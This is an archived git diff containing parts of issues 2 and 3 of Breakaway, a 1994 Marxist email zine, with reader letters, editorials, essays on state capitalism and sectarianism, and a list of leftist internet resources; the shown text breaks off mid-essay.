+ + + +======================================================================= +(05) READERS COMMENTS +----------------------------------------------------------------------- + + Notice that I will not usually reply to critique on political +issues in the same issue as the letter is published. Replies will be +published at _earliest_ the issue after the letter, however admin- +istrative questions and comments, as well as direct questions to me +will be answered at once. + + Also, when you write to me, please state clearly whether your +comment is a submission or not. If you don't, don't blame me if I +don't treat them as you intended. + +Ed. + + +---- +To: Vidar +From: Jack Hill + +Dear Vidar, + +I still haven't had time to work up any real thorough critique of the +first issue of Breakaway. However, I do have a few thoughts and +comments that I would like to share with you. + +Let me say first of all that roughly speaking I agree with your +analysis of what is the situation facing Marxist theory and those who +want to apply it to the current political and economic struggles. What +I mean is that we agree that Marxism is essential for the liberation of +the working class and all the oppressed; that it has been trampled on, +distorted, and mutilated by a wide variety of forces who claimed to be +communists; that we face a huge struggle to restore the good name of +communism. + +One place where I think we don't see completely eye to eye, is in how +to characterize the regimes in Russia, Eastern Europe, China and +elsewhere which abandoned Marxism (or in some cases, never followed +it). You seem to want to call all these bureaucratic regimes +"Stalinist". I'm not sure that is an adequate characterization. I do +think they were all state capitalist regimes, but they varied quite a +bit among themselves in terms of how they came to power, how they +maintained it, to what extent they had popular support. Maoism is a +revisionist theory but it is not the same as Stalinism. There are a +lot of varieties of revisionism in the world and we have to look at all +of them carefully. Another related point is that I think the evidence +is clear that the Chinese revolution in particular produced substantial +advances for the Chinese masses. In other words I think the Chinese +revolution was a genuine popular revolution although the party which +led it was not a proletarian Marxist-Leninist party. So that when we +denounce Maoism, we are not denouncing the epic revolutionary struggle +of the Chinese people. + +Anyway, there is a lot of theoretical sorting out to do get rid of the +mountains of historical garbage and re-establish a genuine, scientific +and revolutionary Marxist theory. The Marxist-Leninist Party, in my +opinion, did some very good historical research into some of these +questions, but there are a lot more questions yet to be cleared up. As +one example, comrades in Chicago did very extensive research into the +women's movement and the struggles for women's liberation in early +Soviet Russia. We will be publishing a book bringing together our +articles and research in the next couple of months. + +There is a lot more to be said on this but I don't have time right now. + +I have a couple other less political comments. Personally I didn't +care much for the poem you published. I prefer literature which more +directly attacks the "system" in one way or another. Have you heard of +Struggle magazine? I'll send you a copy in the mail. The editor and I +have been politically associated for over 25 years. + +The other point is not major and I'm not sure if I should ever mention +it but I will. I don't want to sound too harsh or overly critical, but +my point is that there were some spots in that first issue where the +English could have been improved. All your main points came through +clearly enough, so I don't want to make too big a deal out of this. +But for maximum clarity, it could probably use a little more work. + +So, good job! Hang in there. I'm looking forward to the next issue. + +While I'm at it I will send you a couple other things that I didn't +send you before. There is a May First leaflet we put out, an exchange +I had on PNEWS Conferences about the dissolution of the MLP, and the +editorial of Struggle magazine which I posted to PNEWS. + + Keep up the struggle, + Jack Hill + +---- +Editors comments: + +- When it comes to fiction, we'll probably annoy quite a few of you, +because a lot of what we publish will be experimental in a lot of ways, +and very much of it related to Cyberpunk. The reason? The taste of +the editor, and the people I relate to, and "steal" material from. +The only way to change this is by actually submitting... + + So: All of you that write fiction, submit. That's the only way of +increasing the diversity of this zine. + +- When it comes to improving grammar and style, please feel free to +comment. Especially help on which terms to use etc. will be +appreciated, as translating texts on politics in general, and marxism +in particular, demands quite a lot of terms that certainly can't be +translated directly, and were it often is little help in a dictionary. + + The problem is certainly not reduced by the fact that we have to +rely on translations done entirely by people with English as their +second language. + + If anyone feel they can contribute: I would be extremely grateful +if someone offers to read through material to check the language every +now and then, or, even better, volunteer to help translating when (if) +we get hold of material in languages you master. + + +Apart from that? Well, I _will_ give my views with regards to Jack's +other comments in the next issue, so watch out... ;) + + + +======================================================================= +(06) FOR A NEW BEGINNING (1 of 2) +----------------------------------------------------------------------- + +I received the following article from Dave Hollis some time ago, and +even though the article is quite long, I decided to edit it only +slightly. The unedited text is available on request. To let Dave +himself tell you about the background (quoted from the message he +sent me): + + " The following article was written by myself for a conference of +people who came out of a trotskyist organisation. Over 1.5 years ago I +did so myself. The article is an attempt to elaborate experiences made +in German and the UK on the questions of sectarianism and democratic +centralism. " + + + + +FOR A NEW BEGINNING + +Written by Dave Hollis +Co-authored by Maggie McQuillan +Please contact the author before republishing the article. + + + + It is lamentable that he [Ted Grant] has allowed his political + authority to be used by people whose main concern is not to + clarify ideas but to cause the maximum damage to Militant. + One unfortunate feature of political life is the spiteful urge + of former activists to justify their defection by hurling + allegations of heinous political crimes at their former + comrades. + (Militant, 24/1/1992) + + The action to spread these lies outside the organisation, is a + despicable attempt to sabotage our work, which arises from + pure spite ... + (A Reply to PBy, RWe, JG) + + + + +The current developments in England come as no surprise to us. The +decision we took to leave over a year and a half ago was based on the +understanding that the new organisation was not fundamentally different +from the old one. We realised and said then that it was only a +question of time until a new split would take place. The formation of +the "Democratic Platform" days after the world conference was only an +harbinger of the events that were to follow. + +I have avoided commenting up to now on the events taking place in the +"Socialist Appeal". Although a pamphlet was dedicated to us and we +were used as a stick to beat the "Democratic Platform" with, I chose to +remain silent. It was not a case of being unable to answer the +accusations and the points made, it was quite simply that I, and +others, had put this sect behind us. + +Given that a discussion is now beginning to take place on how one +should go forward, I feel that the time is now appropriate to comment +on the current events, relate our experiences and put forward what I +consider has to be done. I recommend all Comrades to read the document +Bruno wrote shortly after we left, "How and what must be Discussed". +It contains a concise explanation of the state of thinking in Germany +at that time and what we considered to be the next steps. + +Before I go into details, I would like to put the question of Pat's +role in Germany straight. Despite what the leaders of sect number two +think or want to believe, there was no secret activity between the +"Democratic Platform" and the German group. There was no one pulling +our strings. In addition, anyone with a degree of political +understanding could have seen that there were (and most probably are) a +number of political disagreements between us. + +An author is often betrayed by the language used when writing or +speaking. This is very much case in the article "answering" Pat, +Julian and Roy. For instance, why does the second sect talk about a +"conspiracy"? Why do comrades act "in spite", and so on? It is +necessary to look into the reasons why people react in such a way. For +instance, why do members of such an organisation view those who leave +as "betrayers" who, to add insult to injury, are also considered to be +acting "in spite"? + +The answer to these questions lies in understanding that we are dealing +here with a typical behaviour of a sect. + + + +SECTS + +One thing that strikes me when thinking back to the definition of a +sect in the Militant and Socialist Appeal, is the fact that a sect is +defined by its inability to build a mass base. At best, this +definition is only half the truth and at worse, it is totally false. + +What characterises a sect is not its inability to build but its +internal workings - how the members relate to each other, how they +react to "outsiders", etc. A sect is a group of people who follow a +particular teaching and consider every other teaching to be wrong and +dangerous. To put it another way: a sect is the belief of a group of +people that their "model" of how society is to be interpreted is the +one and only truth. + +This definition does not quite capture the real nature of a sect. What +is also important is that psychological factors play the main role. A +sect is held together by beliefs. Either you accept them and you are a +member, otherwise you have no place within it. The loyalty to the +organisation is not based on a conscious understanding of its aims, it +is loyalty to the group. The members "function", they mostly do not +act consciously. The smaller the organisation the greater the part +played by psychological factors. It is no accident that such +organisations have their idols and "great leaders". It is also no +accident that the feeling of "us" and "them" was nurtured in Militant +and Socialist Appeal. The "family feeling" is a prerequisite for the +functioning of a sect. + +The Jehovah Witnesses have their bible, a Marxist organisation has the +works of Marx, Engels, Lenin, Trotsky or whoever. + +This way of thinking leads unavoidably its members to considering those +who disagree with their point of view to be "not loyal", "spiteful", +out to cause damage, etc. Those who become "dissidents" are countered +in the main by insults and not by arguments. For most of the members +of Militant it was only necessary to put us into a particular +compartment, accuse us of departing from Marxism and that was that - +and it worked! In both sects we experienced this, I don't think I have +to elaborate further. + +One particular analogy that springs to mind is that of looking at +membership of a sect as being like a marriage. To leave a sect is like +getting divorced. It is neither easy, nor is it without pain. + +As is the case with other subjects, there is still a lot that needs to +be written on this. In passing, I would just like to mention the +following aspects not discussed in this article: martyrdom, sacrifices +for the cause and assimilation. They are worth an article in +themselves. Unfortunately, time is pressing - I want to finish this +article before your conference and not afterwards. One of the most +painful but most interesting revelations for me was the discovery that +the workings of a political and a religious sect are more less +identical and that all "cadre" organisations I have met up to know +operate in the same way. + +At first I found it hard to believe this. Since leaving the second +sect, however, I have spoken with a number of people who were also +members of "cadre" organisations and have found out that the behaviour +experienced was always strikingly similar. + +I can imagine the howls of rage at such statements. I hope, however, +that no one was offended. Whoever feels offended should think over +very carefully why this is the case. + +There are many obvious behaviours that indicate the presence of a +political sect. A few examples: The inability to think for oneself, +the repetition of the "line", blind loyalty, the inability to question +a point of view, the "functioning" of the members, the inability to +understand someone else's point of view. + +Comrades who do not believe this should ask themselves a few questions: +Did not the old organisations talk about their faith in the working +class? What place does "faith" have for people who consider themselves +to be "Marxists"? Either we are talking about a science or we are +talking about a religion. It is necessary to decide which of the two +possibilities we want. Why does the resolution on the founding of the +new (old) International talk about being based on the first four +congresses of the Communist International? Is it not obvious to anyone +who claims to be a Marxist that resolutions passed over seventy years +ago are very unlikely to have any bearing on the economical and +political situation of today? The references to the writings of the +'great teachers' are just as bad. + +In passing, the attempt by such organisations to justify their program +and actions by reference to such things or people is religious activity +at its purest. + +As we only know too well (see the resolution on the founding of the +"International" passed at Tarrogona), an attempt is made to build a +line of tradition backwards to particular "gurus" or whatever. The +organisation stands at the front of this line as the natural +continuation of the best traditions of the past. However, it is +overseen that this is religion. Religion is re-ligio - a backwards +connection to a mystical beginning. + +Once a political organisation has laid claim to this "revolutionary +continuity", the question of a programme's content is also solved. +Either the timeless validity of programmes out of the past are insisted +upon or parts of various programmes are eclectically thrown together. + +I remember very clearly Ted not being happy with our idea in Germany of +writing a new political program, i.e. a manifesto. "What do you need +it for, you have the Transitional Programme" -as if the world had stood +still for the past fifty years! It is no wonder that in such +organisations practices characteristic of religious sects quickly +manifest themselves ... + + +...continued in Breakaway #3 + + +======================================================================= +(07) GENERAL INFORMATION +----------------------------------------------------------------------- + + A reduced "General Information" column from now on, not to use +all the space repeating the same info... + + Breakaway will be published as often as we have enough material. +"Enough" is at present about 30kb of text, but this might increase +if we get enough submissions. Under any circumstances we'll limit +ourselves to 30kb until we reach one issue every two weeks. (Probably +won't happen in your lifetime ;-) + + The format is, as you can see, pure 7-bit ASCII. + + + Do you: + + - want to subscribe? + - have an idea? + - have a question? + - want to submit, and want to know how? + + + Just send us a message, preferably by e-mail, and we'll send you +appropriate information as soon as possible. To ensure that we can +reply, please include your e-mail address in the body of the message. + + + +SOME BRIEF NOTES ON SUBMISSIONS +----------------------------------------------------------------------- + +* BREAKAWAY will accept articles from people belonging to all trends + or ideologies related to marxism, or from people who are simply + interested in marxist theory or practice. + +* You should limit yourself to articles between 100 and 300 lines if + possible (shorter pieces will naturally also be accepted). If you + find that difficult, try to divide your article into shorter + sections suitable for publishing over two to four issues. + +* We will publish most articles or news reports we receive concerning + marxist ideology, the actions of marxist organisations, or + information of importance to the average revolutionary. Also + fiction might be accepted (contact us for more info) + +* We accept anonymous submissions. However, if you choose to do so, + we would prefer if you give us a pseudonym to use as your + signature. + + + +How to contact Red Forum / Internationalists Committee: +----------------------------------------------------------------------- + +Editor : Vidar Hokstad +E-mail : +Snailmail : Boks 30, N-2001 Lillestroem, NORWAY +Tel. : +47 638 170 35 (5pm to 9pm GMT) + +======================================================================= + Proletarians of all countries, unite! +======================================================================= + +END BREAKAWAY.002 +. diff --git a/textfiles.com/magazines/MISC/break1n3.txt b/textfiles.com/magazines/MISC/break1n3.txt new file mode 100644 index 00000000..b805ad60 --- /dev/null +++ b/textfiles.com/magazines/MISC/break1n3.txt @@ -0,0 +1,910 @@ + + Again delayed... + + This time partly on purpose. Finally we've gotten a listserver to +take care of mailing out Breakaway, and I wanted to wait until it was all +set up, so that I didn't have to mail out hundreds of issues manually +again... + +Vidar Hokstad +Editor + +----------------------------------------------------------------------- + +BEGIN BREAKAWAY.003 + + + + + + + B R E A K A W A Y + + Debates on modern marxism + + + -+*+- + + + Issue no. 3, volume no. 1 + + + August/September 1994 + + + + + +======================================================================= +CONTENTS +----------------------------------------------------------------------- + +(00) EDITORIAL + +(01) column: WHAT'S UP? + Some informal notes on issues we want to tell you about + +(02) STATE CAPITALISM AND STALINISM + An attempt at a reply to Jack Hills letter in issue #2 + +(04) column: A SEARCHLIGHT ON INTERNET + Revolutionary resources on the information highway + +(05) column: ANNOUNCEMENTS + Red Orange ?!? What's that? + +(06) series: FOR A NEW BEGINNING (2 of 2) + a critique of secterianism + +(07) GENERAL INFORMATION + How and what to submit, how to contact us, etc. + + + + +======================================================================= +(00) EDITORIAL +----------------------------------------------------------------------- + + Thank you! + + The last two months my mailbox have been overflowing. Allthough +the number of submissions still is low, the amount of subscription +requests, interesting info, and positive feedback mailed to me have +been overwealming. + + It is certainly enough socialists out on the net to justify this +publication. + + The beauty of the net, is the lack of distribution-problems due to +geographical issues. For a truly international movement, the net is a +blessing of similar importance today, as the railroad was when Marx and +Engels wrote their famous _Manifesto_[1]. What before took years, can +today be done in weeks - the human factor being the last barrier... + + We are as users of the net witnessing capitalism create the +ultimate tool for the working class to use. The final weapon to turn +against them. An anarchic structure where the number of voices crying +out their opinions into cyberspace is finally more important than the +money of the bourgeoisie. + + Watch the drama unfold, as capitalist companies struggle to make +net access available to us all at low cost, so that we can turn it +against them even more easily, or wither away as loosers in an ever +hardening competition. + + Look around you, and see virtual worlds, empires, of information, +be created, live and die, in an accelerating cycle of "living +knowledge" - the net is a medium in which a creation will never be +finished, never will be finite, but always lies open for new +exploration and new enhancements. + + Enter the age of the virtual commune... + +Vidar Hokstad +Editor + + + +---- +[1] "And that union, to attain which the burghers of the Middle Ages, +with their miserable highways, required centuries, the modern +proletarian, thanks to railways, achieve in a few years." + + +======================================================================= +(01) column: WHAT'S UP? +----------------------------------------------------------------------- + +- After a few series of adverts on a series of USENET conferences + and mailing-lists the numbers of subscribers practically went + through the roof. On 1th of July, shortly after my first round of + advertising for issue #2, 15 subscription requests arrived + during my less than an hour online that day (and several more had + arrived before I logged on), and that was only the beginning... + + Breakaway is now distributed to subscribers in (sorted after + numbers of subscribers) USA, UK, Canada, France, Norway, Germany, + Ireland, Australia, South-Africa, Spain, Finland, New Zealand, + Sweden and South-Korea! + + Most of our subscribers (approx. 60%) comes from the US. Breakaway + has also been uploaded to a few local BBS's around the world. + + I would especially like to welcome our first subscriber in + South-Korea, who, in spite of the political oppression, still + takes the chance involved with subscribing to Breakaway. The + South-Korean government have, as naby of you will know, a + reputation for imprisoning revolutionaries, and I doubt they'd + like Breakaway very much... + +- Breakaway is now archived in the ftp archive at + etext.archive.umich.edu in the directory /pub/Zines/Breakaway. + Another archive is expected soon... + +- Red Forum have recently gotten it's own gopher archive at the + EDIN gopher. In addition to general information about Red Forum, + the archive also contains material from Breakaway, and a pointer + to the archive mentioned above. Try gopher to garnet.berkeley.edu, + port 1520, 1521 or 1522, and select "13. Political Movements and + Theory/", then "2. Socialist Political Groups/", and finally + "3. Non-US Socialist Organizations/" to find us. + +- I've adjusted the size of Breakaway up to approx. 40kb from this + issue. + +- The Red Forum meeting will be in late September or early October + instead of August. + +- Two mailing-lists have been set up. One for Breakaway, and another + one as a discussion list for Breakaway subscribers and RFIC + members. + + The address is "majordomo@powertech.no". Send a message with + "help" in the body to retrieve informations about the commands + at your disposal, or use "lists" to get a list of all the lists + administrated by Powertech (our service provider). + + The discussion list may possibly not be set up correctly when you + read this. I'll post a short notice to the Breakaway mailing list + as soon as it is working. You will *NOT* be automatically + subscribed to this list even if you subscribe to Breakaway. + +- Breakaway is now also available on WWW. Select the URL + "http://www.ifi.uio.no/~vidarh/" (my homepage) from Mosaic or Lynx, + or go directly to the Breakaway archive by adding "Breakaway/" to + the above URL. Starting with issue #4, most material will be + available on the web before it is being mailed out, since it + will be written in a custom SGML format, and converted to HTML + (for WWW), ASCII, and AmigaGuide. + + For more info about World Wide Web, send mail to info@cern.ch + (automatic mailer) + + The WWW editions will be _updated_ with current addresses, more + links etc. However, no new entries will be added. + + + +======================================================================= +(02) STATE CAPITALISM AND STALINISM +----------------------------------------------------------------------- + +An attempt at a reply to Jack Hills letter in issue #2, and more... [1] + + I agree that naming all regimes "Stalinist" without a closer +examination, is to simple. But let me try to explain this +simplification. + + Jack stated, in my opinion correctly, that the Chinese revolution +originated as a popular revolution despite the degeneration that +followed it, and the party that led it. This is an assertion that +seems to provide us with a major difference between the development in +China and Russia, as there are differences between Stalinism, defined +strictly as _Stalins theory and practice_, contrary to using Stalinism +in a broad sense for denoting any state capitalist regime using +communist symbolism, and Maoism. + + And yes, Maoism is revisionistic where stalinism is reactionary. +While Stalinism were in effect, with it's bureaucratic system, trying to +reverse the process of building capitalism, Maoism was, at the time, +a force of liberation. + + Even the Russian revolution was a popular revolution, allthough the +_October revolution_ did not have the support of the majority. In the + same way as the great French revolution of 1789 didn't consist of just +one attack on the establishment, but a series of struggles, the Russian +revolution was a process that at least must be said to include the +overthrowing of the Czar regime in February 1917, and later the October +Revolution, but which could be extended in both directions: Towards +the uprisings in 1905, and throughout the end of of Lenins life. + + Or even further... + + Some would even claim that the Russian revolution didn't finish it's +task before the State-Capitalist regime was overthrown, and Russia +finally got to experience the curse of developed capitalism in a +"free market" environment. + + My opinion is that this is going too far. As always, history has +shown us some of it's innumerable variations, by providing us with a +series of "socialist" revolutions which all degenerated into state +capitalism. State capitalism has earned a position as an independent +stage in the development of our world at a place where we before only +knew the direct transition from feudalism to capitalism, as it had +happened in the developed countries. + + State capitalism has earned a position as an intermediate step on +the underdeveloped countries way to capitalism, as socialism[2] by most +communists are seen as an intermediate step on our way towards +communism. + + Again roughly simplified, Maoism played the role equivalent to the +role of Leninism in Russia. In the same way as Leninism, Maoism was an +adaption of Marxism to a severly underdeveloped, perhaps even non-existent +capitalism. It meant the inclusion of the poor peasants into the proletariat, +even though we have been able to witness how large parts of these peasants +didn't share the interests of the proletariat. + + There's a lot to criticize about both Lenin and Mao, but there's little +doubt about their intent. + + I don't feel I can say the same about Stalin. And it would be highly +unfair to call Mao China's Stalin. + + True, good intent is no excuse for oppression, but there _is_ a +difference between unwillingly causing death by starvation, and organized, +well planned, executions. There _is_ a difference between causing the +creation of an oppressive regime by not foreseeing the consequences of +what you do, and actually intentionally strenghtening oppression. + + Still the errors of Mao _and_ Lenin must be openly discussed, and +the crimes they _did_ commit condemned, as the actions of any revolutionary +must be constantly under attack by ourselves - we can't expect to win a war +against capitalism, if we don't dare to fight minor battles with our +comrades of fear that we might be wrong. + + But we must also we very aware about what we are doing, and be careful +not to throw away the experiences, and ideas, that actually are worth using, +and developing. + + What about state capitalism, then? + + Certainly there must be valuable experiences to be extracted from the +state capitalist regimes, and conclusions to be made? + + In opposition to some trends, I do not see state capitalism as a +highly developed capitalism, ready for the socialist revolution, but +as a backward regime created out of combining the political inheritance +from a feudalist past with the awakening capitalist economic structures. + + As such, the development in China, towards a market economy controlled +by a highly totalitarian government is no surprise. Similar tendencies +could be seen in Europe during the early years of capitalist economy. + + We just hadn't a good word for it until recently[3] + + History always repeats itself, but it has a bad memory. It never +replicates the exact same patters over and over again. Like the +Mandelbrot set of fractals: the further you move from your point of +origin, the larger the differences, but changes never appear suddenly - +the patterns seems to go through a slow metamorphosis. + + The revolutions of China and Russia have many differences. But +these are minor, cosmetic, differences. The main tendencies, the +radicalisation, and then degenerisation, of a bourgeoisie revolution, +are the same. + + This tendency we find in every bourgeoisie revolution, but only +in the underdeveloped countries the bourgeoisie is weak enough to let +this radicalisation continue to a point where it causes the seizure +of state power by a vanguardist minority _strong enough to keep it_. + + We remember from the French Revolution of 1789 a phase of +radicalisation. But this phase was ended by reactionary forces, +creating another dictature, and thus it isn't suitable for the +capitalists when they look for ways to fight communism. + + They find their weapons in the "socialist" revolutions - the +revolutions where the bourgeoisie finds regimes that looks like +their visions of communism. For can their reign be ended without +replacing it with _another_ oppressive force? And won't this force +be the _state_? This is the nightmare the capitalists envision. + + Their reign _will_ be replaced by new oppression. Not the state, +or rather not the state as in bourgeoisie terminology. It will by +neccessity be the dictatorship of the majority, of the proletariat. +But it will also be the democracy of the many instead of the few. + + Here lies the problems of the "socialist revolutions". Until +now, they have been seizure of power by an elite - a minority - that +haven't understood that the time had not yet come for socialism. + + To build socialism in countries that lack most fundamental goods, +that can't fulfill the basic needs of their populations, will +inevitably end in oppression: + + The vanguardist parties will always be haunted by people in search +of power, by people that want more than their share. In a country +where poverty rules, how can you escape poverty? By seizing power +for yourself, by becoming emperor... + + In a country with ONE party, or at least only one party with +power, which party do you turn to if power is what you want? + + +Vidar Hokstad + + +---- +[1] Please note that the inclusion of Jack's letter in issue #2 was an +error on my behalf - the letter was not meant to be published. However +I've chosen still to comment on the issues he mentioned, because I find +the problems he rises interesting. I would like to hear more opinions +on these questions. Submissions are especially welcome, but write even +if you don't want to submit (just make sure you state that clearly, +so I don't mess up again...). + +[2] That is, the political system, not the ideology or ideologies. + +[3] It should also be noted that while early western capitalism +certainly showed remarkable resemblances to state capitalism as the +term is used here, there were also distinct differences - again the +natural variations of history? Or are the differences more fundamental? +I won't go into that now. Any comments? + + + +======================================================================= +(04) column: A SEARCHLIGHT ON INTERNET +----------------------------------------------------------------------- + +* CPUSA + +E-MAIL: communistpty@igc.apc.com, + pww@igc.apc.com (Peoples Weekly World) + timwheeler@igc.apc.com (PWW editor Tim Wheeler) + + Communist Party of USA. Publishes Peoples Weekly World, and the +theoretical journal Political Affairs. Their youth organization is +YCL - Young Communist League. + + + +* Marxism (mailing-list) + +E-MAIL: marxism-request@world.std.com (majordomo) + marxism-approval@world.std.com (the list moderator) + + The Marxism list have had a steady stream of messages, and have +established itself as one of the more high-volume leftist lists. +It's highly focused on academic questions, but should still provide +interesting reading for others - at least you'd probably have no +problems getting enough suggestions for what to read ;) + + + +* Marxist Leninist Bookstore + +E-MAIL: + + Jack Hill writes: + + " Actually, this is just an e-mail address that +the Chicago Workers' Voice (a small Marxist-Leninist political group +in Chicago, formerly the Chicago branch of the Marxist-Leninist Party +(USA) ) uses to exchange views and information on political issues. + + We publish two periodicals: an agitational newsletter _The Chicago +Workers' Voice_/_Voz Obrera_ in English and Spanish, and _The Chicago +Workers' Voice Theoretical Journal_. I would certainly be willing to +send anyone who requests it the text of our agitational articles. I +can also inform anyone who asks what are the contents of our +theoretical journal. Each issue runs about 240-250K so it would be hard +to sent out the whole journal by e-mail, but I might be able to send +individual articles if someone is really interested. Of course, if I +start getting hundreds of requests, I may have to reconsider this offer. + + M-L Books is an actual bookstore located in a storefront in the +Mexican community of Chicago. We have been in this community for 15 +years. We have a wide variety of titles of Marx, Engels, and Lenin in +English and Spanish. Our prices are generally low, since much of our +stock was acquired years ago at low prices. I don't have a complete +listing of our current stock with current prices, but if there is a +title you want, let me know. We can probably help you. + + Keep up the struggle. + Jack Hill " + + + +* Committees of Correspondence + +GOPHER: See the EDIN gopher below. +LIST: cocdiscuss@garnet.berkeley.edu (The CocDiscuss list) + newman@garnet.berkeley.edu (the list moderator) + + + +* EDIN gopher + +GOPHER: garnet.berkeley.edu (ports 1520/1521/1522) +E-MAIL: newman@garnet.berkeley.edu (Nathan Newman) + + The EDIN gopher is one of the main resources for revolutionary and +other progressive groups on the Net. Apart from pointers to a wide range +of leftist organization on the Internet, it contains massive information +about human rights organizations, economics etc., and pointers to tons +of other info. An absolute _must_. Red Forum can also be found here. + + The maintainer, Nathan Newman, is highly active on Usenet, and also +moderates the Committees of Correspondence discussion list - CocDiscuss. + + + +* Partei des Demokratischen Sozialismus + +GOPHER: +USENET: cl.gruppen.pds +E-MAIL: PDS-BLV@IPN-B.comlink.de (PDS Landesvorstand Berlin) + + Notice that this entry is by no means complete. The PDS have an +extensive list of e-mail addresses to a long range of local sections and +members of their party. The few addresses mentioned here have been taken +from the newsgroup "cl.gruppen.pds". + + + +* Archiv fuer marxistische Theorie + +EMAIL: CHRONIK@LINK-S.cl.sub.de + + + +======================================================================= +(05) ANNOUNCEMENTS +----------------------------------------------------------------------- + + + RED ORANGE + + A Marxist Triquarterly of Theory, Politics, and the Everyday + + Robert A. Nowlan, Chief Editor + Robert J. Cymbala, Managing Editor + + + The inaugural issue of Red Orange will be published in the spring +of 1995. Red Orange will contribute to the positive development of +revolutionary Marxist knowledges of contemporary capitalist economics, +politics, society, and culture. Red Orange will include critical, +theoretical, and pedagogical articles of sustained length, as well as a +dossier of briefer writings which deal with developments in popular +consciousness and mass culture. Red Orange will produce work that is +engaged in systematic investigation and explanation, and which is +concerned with extending and developing revolutionary Marxist critical +theory of capitalist society and culture. Red Orange will argue for the +necessary theoretical and political priority of such concepts as class, +class conflict and struggle, class consciousness, history, materiality, +mode of production, forces and relations of production, labor, +proletariat, revolution, socialism, communism, dialectics, ideology, +theory, and critique. + + The first issue of Red Orange will begin to investigate the broad +topic of "Late Capitalism at the Fin-de-Siecle." This focus will +continue throughout the first year as the second and third issues of Red +Orange will (tentatively) focus upon the specific topics of market and +commodity culture (issue two) and globality, globalism, and global +post-ality (issue three) in fin-de-siecle late capitalism. We invite +submissions for this first and for the subsequent second and third +issues of Red Orange that focus on the development of revolutionary +Marxist critical theory of, and intellectual-pedagogical intervention +within, various institutions, discourses, practices, and social +relations of fin-de-siecle late capitalism. We invite submissions from +across the full range of traditional academic-intellectual +"disciplines." We are also particularly interested in articles which +will address the related question -- in the course of their +investigation of fin-de-siecle late capitalist economics, politics, +society, and culture -- of How and Why, on the Advent of the +Twenty-First Century, the Revolutionary Socialist Transformation of +Capitalism into Communism is -- Still -- Possible and -- Still -- +Necessary. + + Texts and inquiries should be addressed to Red Orange, Post Office +Box 1055, Tempe, AZ, 85280-1055, U.S.A. + + + +======================================================================= +(06) FOR A NEW BEGINNING (2 of 2) +----------------------------------------------------------------------- + +Written by Dave Hollis +Co-authored by Maggie McQuillan +Please contact the author before republishing the article. + + +... continued from Breakaway #2 + +Democratic Centralism + +Democratic centralism is usually justified by saying that it originates +out of the organisation the workers give themselves in struggle. +Leaving aside for a moment that its historical roots were completely +different, let me try and examine the concept as such. + +Instinctively, the idea of democratically deciding and then acting +together is very appealing - at least in the cases when one is fighting +the class enemy. For a revolutionary organisation, however, democratic +centralism has meant and means something else. + +Democratic centralism is usually defined as being "freedom of +discussion and unity of action". This definition, taken from Lenin +himself, doesn't tell the whole story. A democratic centralist +organisation is based on a separation of the task of leadership from +the task of carrying out the decisions. This separation takes the +form, in the best case, of a yearly election of a central or national +committee. + +Whatever name this committee may have, I think that no one will +contradict me in saying that it has the right to lead the organisation +and take decisions in its name which are then binding on the members. + +Before going into the ramifications of such powers, it is very +important to note that such a division of labour is nothing more than a +reproduction of the capitalist model of parliamentary democracy in a +workers' organisation. Instead of the majority leading the +organisation we have the majority drawing up the leaders. As is the +case with parliamentary elections when electing MPs, the rank and file +does not lead an organisation and the people do not lead parliament +because the leaders are elected at regular intervals. + +The effects of the separation described above are not at first glance +apparent. To understand them it is necessary to not only investigate +the practical consequences of democratic centralism on the workings of +a political organisation, but also to look into what effects it has on +the minds of the members. + +As experienced in the previous two sects, democratic centralism +required of the members that they put forward its programme and +policies when working within the movement. This makes it very +difficult for the members to question and develop differing ideas to +those internally agreed. + +One could of course counter by saying that one can discuss anything +with anyone. However it should be obvious that members will feel +"obliged" to put forward the "line" in public and not develop ones +ideas in a dialogue with the workers. A tendency can and will develop +that engenders conformity, something very unhealthy for a revolutionary +organisation. Furthermore, it is very easy for a feeling to develop of +"us" and "them" - something we have already had more than enough +experience of in the past. The underlying processes at work here are +by no means easy to depict. Attitudes are shaped by an organisation +but an organisation is also shaped by attitudes. Cause and effect will +change places more than once + +Ideas when taken up by people become a material force in their own +right. Separating the overwhelming majority of the members from the +decision making process has consequences that go a lot further than +depicted up to now. + +A tendency will develop, as is the case in almost any workers' +organisation, of loyalty and acceptance of the leaders. Those who +decide will also be those who appear to be competent in the eyes of the +members. If the organisation grows, i.e. it is successful, the +position of the leadership will be strengthened, a bureaucracy can then +develop. If the organisation declines, it is by no means said that the +leadership will be weakened [1]. How often in the history of the labour +movement have leaderships survived bad decisions because of the loyalty +of the members? Leaderships of Stalinist organisations, for example, +have often committed great crimes against their members and still +survived to tell the story! + +Looking through the documents of the factional struggle within +Militant, it immediately becomes apparent that the force of ideas were +by no means sufficient to break the loyalty built up in the leadership. +Loyalty to a leadership - be it blind or conscious - is poison for a +revolutionary organisation. This point has to be seen in context of +what I wrote above on sectarianism and the psychological background of +loyalty. + +The development of loyalties, the inability to question ideas, to +understand differing ideas shows that democratic checks, as important +as they undoubtedly are, are in now way sufficient to prevent an +organisation from degenerating. To put it another way, there is always +a need for democratic checks when the organisation in question has un- +democratic traits in it right from the word go! + +Bureaucratic centralism, or bureaucratism in general, begins with the +separation of the leaders from the rest, i.e. those who carry out the +decisions. As soon as no active control takes place - be it due to the +structure of the organisation or because the members do not want to - +bureaucratism will be the result. It must be the result. + +Up till now, I have looked into the effects of democratic centralism in +the organisation itself. I would like to now portray how democratic +centralism affects the political work in the movement. In passing, it +should be obvious that the criticisms of democratic centralism are, in +a slightly modified form, just as applicable and relevant to the +organisations of the labour movement, i.e. the trade unions and the +Labour Party. + +The discussion on the merits or otherwise of democratic centralism are +by no means new. Both Rosa Luxemburg and Leon Trotsky criticized in +detail, and independently of each other, Lenin's organisation concept. +Rosa Luxemburg's contribution appeared in English under the title +Organizational Question of Russian Social Democracy. Although the +translation is terrible, the translator managed to get the meaning more +or less across - the article is well worth a read. Trotsky's pamphlet, +Our Political Tasks, was published in 1904 in Russian and also +translated in 1970 into German. + +One of Trotsky's criticisms of Lenin's organisation concept concerned +the question of self-activity, i.e. the ability of the working class +to act by itself. In Lenin's concept this self-activity was given +narrow bounds. + +In contrast, Trotsky saw the main task of the Social Democracy as being +one of stimulating and fostering this self-activity. Trotsky saw in +Lenin's plans an obstacle for the development of political +consciousness of the proletariat. Moreover he saw the danger that the +party, due to its not legitimated claim to hegemony with regard to the +working class and the resulting strict separation from the proletariat, +taking up such a sectarian position that the proletariat could turn its +back on the party at the decisive moment. + +Lenin's formal centralism would not lead to its declared aim, the +strengthening of the party, but, instead, to the danger of the +separation of the working class from the party. Trotsky saw the +guarantee for the party's stability "in an active and self-active +participating proletariat and not in its organisational head". + 